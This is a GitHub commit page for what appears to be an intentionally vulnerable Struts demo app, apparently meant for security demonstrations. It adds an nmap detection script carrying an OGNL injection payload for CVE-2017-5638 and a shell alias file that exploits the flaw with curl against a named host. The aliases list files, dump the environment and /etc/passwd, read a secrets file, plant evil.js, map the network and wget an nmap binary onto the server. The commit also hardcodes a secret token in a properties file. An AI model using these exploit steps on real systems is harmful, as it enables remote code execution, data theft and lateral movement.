Skip to content

Commit 7861626

Browse files
authored
Merge pull request #11 from guypod/master
Updated exploits
2 parents fbbccb5 + 0fe79df commit 7861626

File tree

6 files changed

+128
-1
lines changed

6 files changed

+128
-1
lines changed
+77
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
description = [[
2+
Detects whether the specified URL is vulnerable to the Apache Struts
3+
Remote Code Execution Vulnerability (CVE-2017-5638).
4+
]]
5+
6+
local http = require "http"
7+
local shortport = require "shortport"
8+
local vulns = require "vulns"
9+
local stdnse = require "stdnse"
10+
local string = require "string"
11+
12+
---
13+
-- @usage
14+
-- nmap -p <port> --script http-vuln-cve2017-5638 <target>
15+
--
16+
-- @output
17+
-- PORT STATE SERVICE
18+
-- 80/tcp open http
19+
-- | http-vuln-cve2017-5638:
20+
-- | VULNERABLE
21+
-- | Apache Struts Remote Code Execution Vulnerability
22+
-- | State: VULNERABLE
23+
-- | IDs: CVE:CVE-2017-5638
24+
-- |
25+
-- | Disclosure date: 2017-03-07
26+
-- | References:
27+
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
28+
-- | https://cwiki.apache.org/confluence/display/WW/S2-045
29+
-- |_ http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html
30+
--
31+
-- @args http-vuln-cve2017-5638.method The HTTP method for the request. The default method is "GET".
32+
-- @args http-vuln-cve2017-5638.path The URL path to request. The default path is "/".
33+
34+
author = "Seth Jackson"
35+
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
36+
categories = { "vuln" }
37+
38+
portrule = shortport.http
39+
40+
action = function(host, port)
41+
local vuln = {
42+
title = "Apache Struts Remote Code Execution Vulnerability",
43+
state = vulns.STATE.NOT_VULN,
44+
description = [[
45+
Apache Struts 2.3.5 - Struts 2.3.31 and Apache Struts 2.5 - Struts 2.5.10 are vulnerable to a Remote Code Execution
46+
vulnerability via the Content-Type header.
47+
]],
48+
IDS = {
49+
CVE = "CVE-2017-5638"
50+
},
51+
references = {
52+
'https://cwiki.apache.org/confluence/display/WW/S2-045',
53+
'http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html'
54+
},
55+
dates = {
56+
disclosure = { year = '2017', month = '03', day = '07' }
57+
}
58+
}
59+
60+
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
61+
62+
local method = stdnse.get_script_args(SCRIPT_NAME..".method") or "GET"
63+
local path = stdnse.get_script_args(SCRIPT_NAME..".path") or "/"
64+
local value = stdnse.generate_random_string(8)
65+
66+
local header = {
67+
["Content-Type"] = string.format("%%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Check-Struts', '%s')}.multipart/form-data", value)
68+
}
69+
70+
local response = http.generic_request(host, port, method, path, { header = header })
71+
72+
if response and response.status == 200 and response.header["x-check-struts"] == value then
73+
vuln.state = vulns.STATE.VULN
74+
end
75+
76+
return vuln_report:make_output(vuln)
77+
end

exploits/loc-stats.txt

+4
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
408 lines of app src code (no deps)
2+
23 dependencies (libraries) in use
3+
690,944 lines of dependency code
4+
691,352 total

exploits/struts-aliases.sh

+35
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
if [ -z "$JAVA_GOOF_HOST" ]; then
2+
export JAVA_GOOF_HOST=java-goof.herokuapp.com
3+
export JAVA_GOOF_URL=https://$JAVA_GOOF_HOST
4+
fi
5+
export JAVA_GOOF_DEBUG=-v
6+
7+
alias struts_base_command="echo \$EXP_MESSAGE'\n\n' &| cat struts-exploit-headers.txt| sed 's/COMMAND/'\$EXP_COMMAND'/' | xargs curl --http1.0 \$JAVA_GOOF_DEBUG $JAVA_GOOF_URL -H"
8+
9+
# Check if struts is there
10+
alias struts0="nmap -p 80 --script http-vuln-struts-detection.nse $JAVA_GOOF_HOST"
11+
12+
# List files (simple)
13+
alias struts1="export EXP_MESSAGE='Getting list of files...'; export EXP_COMMAND='ls -l'; struts_base_command"
14+
15+
# Get env
16+
alias struts2="export EXP_MESSAGE='Getting environment info...'; export EXP_COMMAND='env'; struts_base_command"
17+
18+
# Get passwd
19+
alias struts3="export EXP_MESSAGE='Getting password hash file...'; export EXP_COMMAND='cat \/etc\/passwd'; struts_base_command"
20+
21+
# List files - deep
22+
alias struts4="export EXP_MESSAGE='Getting full list of files...'; export EXP_COMMAND='find .'; struts_base_command"
23+
24+
# Show a sensitive file
25+
alias struts5="export EXP_MESSAGE='Showing sensitive properties file...'; export EXP_COMMAND='cat .\/target\/tomcat.*\/webapps\/expanded\/WEB-INF\/classes\/struts.properties'; struts_base_command"
26+
27+
# Create a file *********(make sure JAVA_GOOF_TOMCAT_PID is set to the right PID)******
28+
alias struts6="export EXP_MESSAGE='Create a file at $JAVA_GOOF_URL/static/js/evil.js...'; export export EXP_COMMAND='echo MUHAHAHAHAHAHAHA > .\/target\/tomcat.'\$JAVA_GOOF_TOMCAT_PID'\/webapps\/expanded\/static\/js\/evil.js'; struts_base_command"
29+
30+
# Getting IP Info
31+
alias struts7="export EXP_MESSAGE='Gathering internal network information...'; export export EXP_COMMAND='ip addr show'; struts_base_command"
32+
33+
# Uploading nmap to do port scanning
34+
alias struts8="export EXP_MESSAGE='Uploading nmap...'; export export EXP_COMMAND='wget https:\/\/github.com\/andrew-d\/static-binaries\/raw\/master\/binaries\/linux\/x86_64\/nmap'; struts_base_command"
35+

todolist-web-common/src/main/resources/todolist.properties

+1-1
Original file line numberDiff line numberDiff line change
@@ -16,4 +16,4 @@ account.profile.update.success=Your profile has been updated successfully
1616
account.password.update.success=Your password has been updated successfully
1717

1818
#todo errors
19-
no.such.todo=No such todo with id: {0}
19+
no.such.todo=No such todo with id: {0}

todolist-web-struts/.snyk

+8
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
2+
# Snyk (https://snyk.io) policy file, patches or ignores known vulnerabilities.
3+
version: v1.7.1
4+
# ignores vulnerabilities until expiry date; change duration by modifying expiry date
5+
ignore: {}
6+
patch:
7+
'SNYK-JAVA-ORGAPACHESTRUTS-30207':
8+
patch: 'struts2-core-2.3.20.jar'

todolist-web-struts/src/main/resources/struts.properties

+3
Original file line numberDiff line numberDiff line change
@@ -11,3 +11,6 @@ struts.custom.i18n.resources=todolist
1111

1212
#use Spring as Object Factory
1313
struts.objectFactory = spring
14+
15+
# Secret token
16+
secret.token=MySecretTokenForDBAccess

0 commit comments

Comments
 (0)